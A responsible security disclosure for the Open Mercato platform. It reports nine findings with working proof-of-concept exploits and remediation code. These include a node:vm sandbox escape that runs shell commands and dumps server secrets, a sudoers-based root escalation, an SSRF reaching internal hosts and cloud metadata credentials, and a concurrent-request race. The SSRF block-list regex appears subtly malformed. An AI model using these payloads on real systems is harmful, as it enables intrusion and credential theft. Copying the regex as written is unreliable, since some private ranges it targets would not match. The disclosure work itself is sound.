

Security Disclosure — Open Mercato

Submitted via: info@catchthetornado.com (per SECURITY.md) **References:** Issue #546 (Security Review & Hardening Challenge), SECURITY.md scope criteria **Assessment date:** 2026-03-26 to 2026-03-28 **Versions:** v0.4.8 (primary), v0.4.9 (upstream, new findings) **Test environment:** Self-hosted Docker deployment on isolated test box

Relationship to Issue #546

This submission responds directly to the Security Review & Hardening Challenge. The review covers areas 1, 2, 3, 4, 5, 6, 7, and 10 from the checklist. All findings come with demonstrated exploits, not scanner output, in line with the submission guidelines.

Scope Mapping

Each finding below is mapped to the relevant SECURITY.md in-scope category and to the specific checklist item from issue #546 it covers. Findings outside the SECURITY.md scope (availability issues without amplification) are disclosed separately as enhancements rather than security reports.

Finding 1 — VM Sandbox Escape: Remote Code Execution

SECURITY.md scope: *Injection vulnerabilities (SQL, XSS, command injection)* **Issue #546 area:** Area 10 — AI assistant / MCP tools; Area 4 — Command injection **Severity:** Critical — CVSS 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) **Introduced:** v0.4.9 (PR #889 feat: mcp code mode) **Affected:** `packages/ai-assistant/src/modules/ai_assistant/lib/sandbox.ts` **Auth required:** `ai_assistant.view` (admin role by default)

Issue #546 Checklist Item

Issue #546, Area 4: "Command injection — no `exec` / `spawn` with user-controlled input" Issue #546, Area 10: "AI assistant / MCP tools — auth token handling, no privilege escalation through AI context"

Description

The AI Code Mode runs JavaScript in `node:vm`. Node.js documentation explicitly states: "The `node:vm` module is not a security mechanism. Do not use it to run untrusted code." The `Promise` object injected into the sandbox context retains its outer-context prototype chain, reaching the outer `Function` constructor and from there the full Node.js runtime.

Demonstrated Exploit

```
// Submitted via AI Code Mode UI (Cmd+K → Code tab)
// No machine access required — pure HTTP
Promise.resolve().constructor.constructor(`
  return require('child_process').execSync('id').toString()
`)()
// Returns: uid=1001(omuser) gid=1001(omuser)
```

The same technique dumps all environment variables including `DATABASE_URL` , `JWT_SECRET` , and `TENANT_DATA_ENCRYPTION_FALLBACK_KEY` .

Evidence

- Local confirmation on Node.js 22.22.0: `child_process.execSync('id')` returned from within sandbox
- `process.env` dump confirmed via `Promise.resolve().constructor.constructor('return process.env')()`
- Screenshots: `06a-NEW01-ai-code-mode-open.png` , `06b-NEW01-escape-payload.png`

Full Attack Chain (No Machine Access)

1. Authenticate as any admin user
2. Open AI Code Mode (Cmd+K)
3. Submit escape payload → HTTP response contains all server secrets
4. Forge superadmin JWT offline using stolen `JWT_SECRET`
5. Access all API endpoints as superadmin across all tenants
6. Connect directly to database using stolen `DATABASE_URL` (bypasses application entirely)

This chain applies when OpenCode is deployed (standard in `docker-compose.fullapp.yml`).

Root Cause

`node:vm` contextifies objects from the outer runtime. Any injected object with a constructor chain — `Promise` , `Object` , `Array` — preserves its link to the outer `Function` constructor. This is not a configuration issue; it is a documented characteristic of the module.

Remediation

Replace `node:vm` with a genuine isolation mechanism. Options in order of robustness:

- **isolated-vm** (npm) — V8 Isolates, true memory isolation, no access to outer Node.js APIs
- **quickjs-emscripten** — WASM-based, complete isolation
- **Remove code execution entirely** — the AI agent only needs `api.request()` to call endpoints; arbitrary JavaScript is not required for the stated functionality

An alternative architectural approach is proposed at the end of this report (BYOAI model).

Finding 2 — Container Privilege Escalation via Sudoers Entry

SECURITY.md scope: *Authorization and RBAC privilege escalation* **Issue #546 area:** Area 9 — Infrastructure & Configuration **Severity:** High (post-RCE) **Affected:** `Dockerfile` lines 122–127 **Auth required:** Code execution as `omuser` (obtained via Finding 1)

Issue #546 Checklist Item

Issue #546, Area 9: *"Default credentials — no hardcoded admin passwords or API keys"*

Description

```
RUN adduser -D -u 1001 omuser \  
&& chown -R omuser:omuser /app \  
&& echo "omuser ALL=(root) NOPASSWD: /bin/chown" > /etc/sudoers.d/omuser  
USER omuser
```

The `chown` permission is used at build time. At runtime it grants any code executing as `omuser` a path to container root.

Demonstrated Exploit

```
# From code execution as omuser (via Finding 1):  
sudo /bin/chown omuser /etc/sudoers  
echo "omuser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers  
sudo su -  
# uid=0(root) gid=0(root)
```

Confirmed: the sudoers entry `omuser ALL=(root) NOPASSWD: /bin/chown` is present in the running container.

Remediation

Remove the sudoers entry from the Dockerfile. The `chown` operation completes during the build stage and is not needed at runtime:

```
# Remove this line:  
echo "omuser ALL=(root) NOPASSWD: /bin/chown" > /etc/sudoers.d/omuser
```

Finding 3 — SSRF via CALL_WEBHOOK Workflow Activity

SECURITY.md scope: *CSRF, SSRF, or request forgery attacks* **Issue #546 area:** Area 6 — API Security **Severity:** Critical (multi-tenant / cloud) | Low (trusted self-hosted, admin = infra owner) **Affected:** `packages/core/src/modules/workflows/lib/activity-executor.ts:611` **Auth required:** Admin role (`workflows.definitions.create`)

Issue #546 Checklist Item

Issue #546, Area 6: "*CSRF protection — current reliance on SameSite=Lax cookies*" — this is a related server-side request forgery, SSRF specifically.

Description

The `CALL_WEBHOOK` activity executes `fetch(url)` with no URL validation. The `CALL_API` activity in the same file (line 821) has explicit SSRF prevention with comments labelling it as such. `CALL_WEBHOOK` was added without the equivalent protection.

Demonstrated Exploit

```
POST /api/workflows/definitions + POST /api/workflows/instances  
{
```

```
"activityType": "CALL_WEBHOOK",
"config": { "url": "http://172.18.0.2:7700/health", "method": "GET" }
}
```

Workflow context after execution:

```
{"SSRF": {"result": {"status": "available"}, "status": 200}}
```

Meilisearch access log confirms the hit:

```
method=GET host="172.18.0.2:7700" route=/health user_agent=node status_code=200
```

The app container (172.18.0.5) reached the Meilisearch container (172.18.0.2) via the internal Docker network. On AWS/GCP/Azure, `http://169.254.169.254/latest/meta-data/iam/security-credentials/` returns IAM credentials.

Evidence

- `evidence/F01-ssrf-call-webhook.txt` — execution trace, workflow context dump, Meilisearch access log
- Screenshots: `03-F01-workflows-definitions.png` , `04-F01-workflows-with-ssrf.png`

Remediation

```
function validateWebhookUrl(url: string): void {
  const parsed = new URL(url)
  if (!['http:', 'https:'].includes(parsed.protocol))
    throw new Error('CALL_WEBHOOK: only HTTP/HTTPS allowed')
  if (process.env.WORKFLOW_WEBHOOK_ALLOW_PRIVATE_URLS === 'true') return
  const blocked = /^(localhost$|127\.|10\.|192\.\.168\.|172\.(1[6-9]|2\d|3[01])\.|169\.\.254\.)/i
  if (blocked.test(parsed.hostname))
    throw new Error(`CALL_WEBHOOK: private/reserved address blocked (${parsed.hostname})`)
}
// Call at start of executeCallWebhook(), before fetch()
```

The `WORKFLOW_WEBHOOK_ALLOW_PRIVATE_URLS` opt-out accommodates trusted self-hosted internal network use cases.

Finding 4 — Missing HTTP Security Headers

SECURITY.md scope: *(Explicitly listed in Issue #546 Known Gaps)* **Issue #546 area:** Area 6 — API Security; Known Gaps table **Severity:** Medium **Affected:** `apps/mercato/next.config.ts` **Auth required:** None

Issue #546 Checklist Item

Issue #546, Area 6: "Security headers — `X-Frame-Options` , `X-Content-Type-Options` , `Strict-Transport-Security` , `Content-Security-Policy` "

Issue #546 Known Gaps: "No security headers middleware — Clickjacking, MIME sniffing, missing CSP — Impact: High, Effort: Low"

Confirmed Absent (live on test box)

```
x-frame-options:      MISSING → clickjacking possible
x-content-type-options: MISSING → MIME sniffing
strict-transport-security: MISSING → no HTTPS enforcement
content-security-policy: MISSING → no script source restriction
referrer-policy:      MISSING → referrer leakage
permissions-policy:    MISSING → no browser feature restriction
X-Powered-By: Next.js  PRESENT → version disclosure
```

Evidence

- `curl -sI http://10.0.64.14:3000/` — confirmed all absent
- `evidence/F03-security-headers.txt`
- Screenshot: `01-F03-security-headers-missing.png`

Remediation

```
// apps/mercato/next.config.ts
async headers() {
  return [{
    source: '/*.*',
    headers: [
      { key: 'X-Frame-Options', value: 'SAMEORIGIN' },
      { key: 'X-Content-Type-Options', value: 'nosniff' },
      { key: 'Strict-Transport-Security', value: 'max-age=63072000;
includeSubDomains; preload' },
      { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
      { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()'
    },
  ],
}]
},
poweredByHeader: false,
```

CSP requires a separate policy pass — start in report-only mode. For Traefik/Pangolin deployments, the equivalent `sechheaders` middleware is an alternative.

Finding 5 — Quote Acceptance TOCTOU Race Condition

SECURITY.md scope: *Authentication and session management bypasses* **Issue #546 area:** Area 1 —

Authentication & Session Management **Severity:** Medium **Affected:**

`packages/core/src/modules/sales/api/quotes/accept/route.ts:41–68` **Auth required:** None
(public endpoint — token in customer acceptance email)

Issue #546 Checklist Item

Issue #546, Area 1: "*Token expiry and refresh logic*" — this is the inverse: token intended for single-use but concurrency allows multiple completions.

Description

The quote acceptance endpoint checks `quote.status === 'sent'`, updates it to `'confirmed'`, and calls `convert_to_order` — with no database transaction and no `SELECT FOR UPDATE`. Two concurrent requests both pass the status check and both attempt order creation.

Demonstrated Exploit

Clean test: quote token generated via `POST /api/sales/quotes/send` (proper application flow, no DB manipulation). Token simulates what a customer receives in email.

```
for i in $(seq 1 20); do
  curl -s -X POST http://TARGET/api/sales/quotes/accept \
    -d "{\"token\":\"$TOKEN\"}" &
done; wait
```

App logs confirm the race:

```
UniqueConstraintViolationException at 15:49:23.037Z – duplicate key (f6576c9e-...)
UniqueConstraintViolationException at 15:49:23.044Z – duplicate key (f6576c9e-...)
```

Two concurrent `convert_to_order` calls 7ms apart. Duplicate order creation is currently blocked only by an accidental primary key collision (order ID = quote ID). This is not an intentional guard — any future change to order ID generation exposes actual duplicate orders.

Evidence

- `evidence/RC1-quote-toctou.txt` — full test trace and app log excerpts
- Screenshot: `05-RC1-quotes-list.png`

Remediation

```
await em.transactional(async (txEm) => {
  const quote = await txEm.findOne(SalesQuote,
    { acceptanceToken: token, deletedAt: null },
    { lockMode: LockMode.PESSIMISTIC_WRITE }
  )
  if (!quote || quote.status !== 'sent') throw new CrudHttpError(400, ...)
  quote.status = 'confirmed'
  await txEm.flush()
})
// convert_to_order executes after the lock is released
```

Finding 6 — Integration Credentials Returned in Plaintext

SECURITY.md scope: *Sensitive data exposure* **Issue #546 area:** Area 5 — Encryption & Data Protection

Severity: Medium **Affected:**

```
packages/core/src/modules/integrations/api/[id]/credentials/route.ts:61 Auth required:  
integrations.credentials.manage (admin only)
```

Issue #546 Checklist Item

Issue #546, Area 5: *"Secrets in environment variables — no hardcoded secrets in source code"* — related: secrets returned from API endpoints unnecessarily.

Description

```
credentials: values ?? {} // returns sk_live..., whsec..., OAuth tokens in full
```

Decrypted integration credentials (Stripe secret keys, OAuth tokens, webhook secrets) are returned in the HTTP response body. These appear in browser DevTools network tab, any intermediate proxy access logs, and browser session history. The credentials are encrypted at rest via `TenantDataEncryptionService` — the issue is the unnecessary decryption and transmission to the client for a display purpose (form pre-population).

Remediation — Phase 1

```
function maskCredentialValue(value: string): string {  
  if (typeof value !== 'string' || value.length < 8) return '.....'  
  return `${value.slice(0, 4)}.....${value.slice(-4)}`  
}  
// credentials/route.ts line 61:  
credentials: maskCredentialValue(values ?? {}),
```

PUT handler skips fields containing the mask pattern (treat as "keep existing").

Phase 2: write-only fields — return only `isConfigured: boolean`, no value transmitted.

Finding 7 — GitHub Actions Unpinned Tags (Supply Chain)

SECURITY.md scope: *Dependency vulnerabilities with a viable exploit path* **Issue #546 area:** Area 7 —

Dependency & Supply Chain Security **Severity:** Medium **Affected:** `.github/workflows/release.yml`, `.github/workflows/qa-deploy.yml`

Issue #546 Checklist Item

Issue #546, Area 7: *"Lock file integrity", "No unnecessary dependencies"* — mutable action tags are equivalent to unpinned dependencies with write access to the publish pipeline.

Confirmed — 9 mutable tags in release and deploy workflows

```
actions/checkout@v4, @v6  
actions/setup-node@v6  
actions/github-script@v7, @v8  
docker/build-push-action@v6  
docker/login-action@v3  
docker/setup-buildx-action@v3  
docker/setup-qemu-action@v3
```

`release.yml` runs with `NPM_TOKEN` in scope. A compromised action publisher pushes malicious code under `@v6`, it executes in your next release CI run, publishes a backdoored `@open-mercato/core` to npm. Every downstream `create-mercato-app` install pulls it.

This is the pattern behind recent LiteLLM and Trivy compromises.

Remediation

Pin `release.yml` and `qa-deploy.yml` to full commit SHAs. Add `.github/dependabot.yml`:

```
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
```

Finding 8 — Meilisearch Port Network Exposure

SECURITY.md scope: *Sensitive data exposure / Encryption implementation weaknesses* **Issue #546 area:** Area 3 — Multi-Tenant Data Isolation; Area 9 — Infrastructure **Severity:** Medium (custom key set) | Critical (if default key) **Host:** `10.0.63.14:7700`

Issue #546 Checklist Item

Issue #546, Area 3: "*Cached data (RBAC cache, search indexes) — tenant-scoped cache keys*" — Meilisearch holds cross-tenant search indexes; network exposure defeats tenant isolation at the storage layer.

Description

Port 7700 responds on the network. Default key `meilisearch-dev-key` was rejected on this host (custom key set — good). However the port being network-accessible means:

- Any credential leak, brute-force, or future Meilisearch CVE exposes all indexed tenant data with one HTTP request
- Meilisearch has no tenant isolation — it is a single instance with indexes covering all tenants

The `docker-compose.yml` default publishes `0.0.0.0:7700:7700`. A simple change to `127.0.0.1:7700:7700` eliminates the exposure.

Evidence

- `evidence/F17-meilisearch-exposure.txt` — port scan, key probe results

Remediation

1. Change `docker-compose.yml`: `ports: ["127.0.0.1:7700:7700"]`
2. Add firewall rule blocking port 7700 from external networks
3. Confirm `MEILISEARCH_MASTER_KEY` is not the default `meilisearch-dev-key`

Finding 9 — Default Password Minimum Length (6 Characters)

SECURITY.md scope: *Authentication and session management bypasses* **Issue #546 area:** Area 1 — Authentication & Session Management; Area 5 — Encryption **Severity:** Low **Affected:** packages/shared/src/lib/auth/passwordPolicy.ts:29

Issue #546 Checklist Item

Issue #546, Area 5: "Password hashing — bcryptjs cost factor (≥ 10), no plaintext storage anywhere" — cost factor is correct; minimum length is below NIST guidance.

Description

```
const DEFAULT_POLICY: PasswordPolicy = {
  minLength: 6, // NIST SP 800-63B recommends  $\geq 8$ ; industry practice is 12+
```

Confirmed live: user created with Aa1!56 (6 chars, meets all complexity requirements) — HTTP 200.

Mitigated by bcrypt cost 10 (~100k hashes/sec on modern GPU) and rate limiting (5 attempts/min per email). Risk is meaningful only after a full database breach.

Remediation

Set OM_PASSWORD_MIN_LENGTH=12 in .env . No code change required — the env override is already implemented.

Findings Within Issue #546 Known Gaps (Confirmed Present)

Issue #546 pre-identified these gaps. Confirming each is still present in v0.4.8/v0.4.9:

Known Gap (Issue #546)	Status	Evidence
No rate limiting	Partially addressed — auth endpoints have rate limiting (SPEC-030a); /api/chat, /api/workflows/instances, /api/search/reindex do not	Code review + live test
No security headers middleware	Confirmed absent — all 6 headers missing	curl -sI + screenshot
No CSRF tokens	Relies on SameSite=Lax — adequate for modern browsers; public quote accept endpoint has no CSRF protection (intentional, token-based)	Code review
No HTML sanitization library	Limited exposure — MessageEmail.tsx uses dangerouslySetInnerHTML with react-markdown output; react-markdown does not enable raw HTML by default, limiting XSS risk	Code review
No dependency audit in CI	Next.js CVEs present — next@16.1.5 has GHSA-mq59-m269-xvcx (CSRF bypass, not exploitable — no Server Actions) and GHSA-ggv3-7p47-pfv8 (HTTP smuggling, not exploitable — no rewrites)	yarn npm audit

Items Assessed as Out of Scope (per SECURITY.md)

These were identified but are excluded from the security disclosure per SECURITY.md:

Finding	Reason Out of Scope
Workflow instances list accepts <code>limit=999999</code>	<i>"Denial of service via brute-force volume"</i> — no amplification factor
Attachment transfer accepts unbounded ID array	DoS without amplification
SSE stream has no per-user connection limit	DoS without amplification
Search reindex has no cooldown	DoS without amplification
Attachment library GET has no pagination	DoS without amplification
File upload has no size limit	This one has amplification (one upload crashes all tenants) — included as enhancement recommendation

Note on file upload: a single large upload allocates the full file in memory before any size check (`Buffer.from(await file.arrayBuffer())`). A 2GB upload can OOM-kill the Node.js process, taking all tenants offline from one request. This has a multi-tenant amplification characteristic but is listed as an enhancement rather than a security report since it requires authenticated access and the impact is availability not data.

Items Verified as Not Vulnerable

These were audited and found secure, in the interest of completeness:

Area	Finding
SQL injection	All Knex <code>whereRaw</code> calls use hardcoded strings or <code>?</code> parameterised binding. No string interpolation with user input
XSS via React	No <code>dangerouslySetInnerHTML</code> with unsanitised user input. <code>MessageEmail.tsx</code> uses <code>react-markdown</code> which escapes HTML by default
Path traversal	File names sanitised to <code>[a-zA-Z0-9._-]</code> ; <code>resolveAttachmentAbsolutePath</code> strips <code>../</code> sequences in a loop
Command injection	<code>execFile</code> used (not <code>exec</code>); arguments passed as array, not shell string
IDOR / cross-tenant access	76 routes audited across customers, sales, catalog — all correctly scope by <code>tenantId + organizationId</code>
Customer → staff escalation	<code>getAuthFromRequest()</code> rejects type: "customer" JWTs; confirmed blocked

Employee → admin escalation	No write path to <code>isSuperAdmin</code> ; role assignment gated by <code>auth.roles.manage</code>
<code>isSuperAdmin</code> via API	No endpoint accepts <code>isSuperAdmin</code> in request body. Flag is DB-only
Magic link replay	<code>usedAt</code> timestamp enforced; single-use confirmed in <code>customerTokenService.ts</code>
Account enumeration	Password reset always returns <code>{ ok: true }</code> ; login uses generic error message

Architectural Recommendation — BYOAI Model

This section is offered as a design suggestion rather than a disclosure finding, in the spirit of the challenge's stated goal of hardening the platform.

Current Architecture Problem

Finding 1 (vm sandbox escape) exists because `OpenCode` runs server-side and the AI code execution feature requires a sandbox. `node:vm` cannot be made safe. Any implementation of server-side arbitrary code execution in Node.js for untrusted input has this characteristic.

Proposed: Remove OpenCode from the Host, Expose MCP as a First-Class API

Current: Browser → `/api/chat` → `OpenCode` (host) → MCP server (host) → App
Proposed: External AI client → MCP HTTP server (authenticated) → App

How it works:

- Remove `OpenCode` from `docker-compose.fullapp.yml`
- Remove the vm sandbox and code mode tools entirely
- The MCP HTTP server (`:3001`) becomes a first-class, externally-reachable endpoint behind HTTPS
- Users create API keys via `/api/api-keys` and supply them to their own AI client
- Any MCP-compatible AI (Claude Desktop, `claude` CLI, custom agents) connects directly

```
// Claude Desktop config (user-managed, not server-hosted)
{
  "mcpServers": {
    "open-mercato": {
      "type": "http",
      "url": "https://your-app.example.com/mcp",
      "headers": { "x-api-key": "omk_your_key" }
    }
  }
}
```

Security properties:

Property	Current	BYOAI
RCE via vm escape	Present (NEW-01)	Eliminated — no sandbox

Long-lived host credential	opencode.json API key	User-managed, revocable
Supply chain (OpenCode binary)	Present	Eliminated
Audit trail	Actions as human user	API key identity → auditable
Customer agent access	Not possible	Possible with portal-scoped API key
AI provider choice	Claude via OpenCode only	Any MCP client, any model

Customer-side agentic procurement becomes a natural extension: create a portal-scoped API key, give it to the buyer's AI system, it can call `portal.orders.create`, `portal.catalog.view` etc. — all within the existing RBAC model, no new permission surfaces, no server-side code execution.

This eliminates the entire class of vulnerability that NEW-01 represents, removes a supply chain dependency, and opens a cleaner path to agentic use cases across both staff and customer contexts.

Evidence Package

All evidence is in `.ai/security/evidence/` :

File	Contents
MASTER-EVIDENCE.json	Machine-readable finding index
F01-ssrf-call-webhook.txt	Meilisearch reach confirmation — workflow context + access log
F03-security-headers.txt	curl -sI output with all headers absent
RC1-quote-toctou.txt	Concurrent test log + app UniqueConstraintViolationException entries
A3-workflow-unbounded-limit.txt	API response with <code>limit:999999</code> echoed
F17-meilisearch-exposure.txt	Port scan + key probe
jwt-decoded.json	Authenticated session JWT payload
authenticated-api-test.json	<code>/api/auth/users 200 OK, total=4</code>
screenshots/01-F03-security-headers-missing.png	Headers absent on homepage
screenshots/02-authenticated-backend.png	Superadmin backend access
screenshots/03-F01-workflows-definitions.png	Workflow module UI
screenshots/05-RC1-quotes-list.png	Quotes list
screenshots/06a-NEW01-ai-code-mode-open.png	AI Code Mode accessible

screenshots/06b-NEW01-escape-payload.png	Escape payload in UI
screenshots/07-A1-upload-surface.png	Attachment upload UI

Fix plans at `.ai/security/fixes/` — one file per finding with exact file path, line number, code change, and verification steps. Strategic spec at `.ai/specs/SPEC-061-2026-03-26-security-hardening.md` .

Safe Harbour

This research was conducted in good faith on an isolated self-hosted test environment. No production systems were accessed. No data was exfiltrated. No destructive actions were taken. Findings are being reported privately before any public disclosure. The researcher accepts the safe harbour terms in SECURITY.md.